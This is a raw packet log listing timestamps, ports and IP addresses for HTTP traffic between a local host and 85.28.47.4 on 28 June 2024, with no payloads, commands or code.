Jun 28, 2024 22:32:08.344933987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344950914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344980001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345108986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345118999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345128059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345138073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345148087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345155001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345163107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345169067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345184088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345191956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345199108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345206976 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345215082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345226049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345233917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345242023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345268011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345294952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345464945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345478058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345506907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345516920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345619917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345628977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345637083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345647097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345655918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345664024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345670938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345688105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345691919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345701933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345709085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345717907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345726013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345733881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345741987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345750093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345757008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345765114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345772028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345782995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345792055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345799923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345810890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345823050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345829010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345839024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345844030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345854998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345860004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345869064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345875978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345884085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345897913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345902920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345911026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345916986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.345923901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.345962048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.346312046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.346321106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.346354008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.346373081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.354744911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.354815960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.354835987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.354846001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.354866982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.354885101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.354893923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.354902983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.354916096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.354923964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.354939938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.354948044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.354958057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.354990005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355009079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355026960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355038881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355046988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355057001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355066061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355077028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355086088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355104923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355109930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355214119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355226040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355256081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355262995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355274916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355308056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355326891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355339050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355350018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355364084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355370045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355396986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355418921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355516911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355529070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355541945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355557919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355570078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355576038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355587006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355595112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355602980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355629921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355779886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355791092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355803967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355815887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355823994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355839014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355849028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355861902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355870008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355880976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.355890036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355906963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355940104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.355998993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356012106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356024027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356041908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356057882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356198072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356215954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356228113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356237888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356246948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356256008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356266022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356275082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356285095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356292009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356302023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356309891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356319904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356328964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356343985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356352091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356362104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356376886 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356537104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356549025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356559992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356574059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356579065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356590986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356599092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356611013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356620073 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356632948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356641054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356657028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356673002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356848001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356859922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356870890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356878996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356889009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356901884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356909990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356918097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356928110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356940031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356949091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356949091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356962919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356970072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.356980085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.356997967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.357014894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.383184910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.388704062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.563877106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.563905954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.563920975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.563932896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.563942909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.563956022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.563961029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.563982964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564003944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564045906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564055920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564069986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564076900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564091921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564102888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564131975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564142942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564152956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564165115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564181089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564240932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564250946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564260960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564275026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564296961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564415932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564425945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564435005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564446926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564452887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564460993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564469099 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564476967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564491987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564503908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564510107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564518929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564543009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564563990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564688921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564698935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564708948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564719915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564728022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564735889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564747095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564750910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564759016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564766884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564779997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564785957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564795971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564800024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564812899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564840078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564898968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564939022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.564951897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564964056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564973116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.564986944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565001011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565185070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565195084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565203905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565212965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565220118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565228939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565239906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565243959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565254927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565263987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565270901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565278053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565287113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565299034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565304041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565310955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565320015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565326929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565337896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565342903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565350056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565357924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565368891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565388918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565592051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565601110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565609932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565620899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565629005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565637112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565644026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565654993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565660954 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565669060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565675020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565685987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565691948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565707922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565721035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565893888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565905094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565915108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565924883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565931082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565937996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565947056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565954924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565962076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565969944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565984011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.565990925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.565999031 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566008091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566019058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566025972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566035986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566041946 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566050053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566056967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566067934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566073895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566086054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566090107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566097021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566106081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566118956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566124916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566133022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566138983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566154003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566162109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566168070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566188097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566523075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566534042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566544056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566551924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566560030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566567898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566575050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566582918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566591024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.566610098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.566633940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.972007990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.972042084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.977710962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.977720976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:09.698417902 CEST	80	49731	85.28.47.4	192.168.2.4
